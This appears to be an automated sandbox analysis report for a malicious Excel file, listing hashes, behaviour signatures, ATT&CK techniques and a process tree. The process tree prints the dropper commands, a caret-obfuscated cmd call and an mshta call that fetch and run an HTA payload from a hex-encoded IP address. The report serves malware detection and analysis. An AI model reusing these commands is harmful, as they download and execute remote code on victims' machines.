Analysis

  • max time kernel
    170s
  • max time network
    178s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28-01-2022 01:47

General

  • Target

    file-101.xls

  • Size

    64KB

  • MD5

    560181e4cde03685b805025943fb2d49

  • SHA1

    4fa830abcfef35042484a7991a9ff0b15c34bcd6

  • SHA256

    e4f12be31a8640986ecbcea3fd9b8cf22936e0db666d6dbdd87b77e798f22415

  • SHA512

    e7744bb93b4f33b20113268409aa23974ebb296e6235bde6caa407de9d3fc3b5dd01bd3f488fd74c1604ada88b9438a8ab5c0efe4a039cd8a4e47b2febb32e8f

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xc12a24f5/cc.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\file-101.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1928
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2000
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xc12a24f5/cc.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        PID:1792

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1928-54-0x000000002F9C1000-0x000000002F9C4000-memory.dmp
    Filesize

    12KB

  • memory/1928-55-0x00000000710B1000-0x00000000710B3000-memory.dmp
    Filesize

    8KB

  • memory/1928-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1928-57-0x0000000076041000-0x0000000076043000-memory.dmp
    Filesize

    8KB

  • memory/1928-58-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB